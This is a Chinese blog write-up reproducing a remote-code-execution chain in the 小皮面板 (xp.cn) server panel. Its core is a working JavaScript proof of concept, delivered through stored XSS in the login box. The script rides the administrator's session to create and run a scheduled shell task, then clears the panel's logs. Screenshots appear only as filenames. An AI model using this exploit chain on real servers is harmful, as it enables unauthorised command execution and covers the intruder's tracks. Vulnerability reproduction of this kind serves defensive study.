小皮面板RCE复现


小皮面板

登录框插入xss代码

image-20230204121851255

模拟管理员登陆成功,xss代码被执行

image-20230204121517673

然后,构造本地js POC文件

function test1() {
    $.get('/service/app/tasks.php?type=task_list',{},function(data) {
            var id = data.data[0].ID;
            $. post('/service/app/tasks.php?type-exec_task',{
                    tid:id
            },function(res){
                    $.post('/service/app/tasks.php?type=set_task_status', {
                            task_id: id,
                            status: 0
                    },function (res1){
                            $.post('/service/app/tasks.php?type=set_task_status',{
                                    task_id: id,
                                    status: 0
                            },function (res2){
                                    $.post("/service/app/log.php?type=clearlog",{
                                            type:"clearlog"
                                    },function(res3) {},"json");
                            },"json");
                    },"json");
            },"json");
    },"json");
}

function save() {
    var data = new Object(); 
    data.task_id =
    data.title ="test"
    data.exec_cycle ="5";
    data.week ="1" ;
    data.hour="1";
    data.minute="1"
    data.shell="echo 1 > D:/xp.cn/www/1.txt" ;
    $.post('/service/app/tasks.php?type=save_shell',data, function (res) {
    test1();
    },'json');
}
    save();

POC文件随便丢一个web容器,写入XSS

image-20230204124901744

然后等待管理员正常登录会加载远程POC文件创建计划任务

image-20230204130122740

等待一分钟,命令执行成功

image-20230204131129700

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇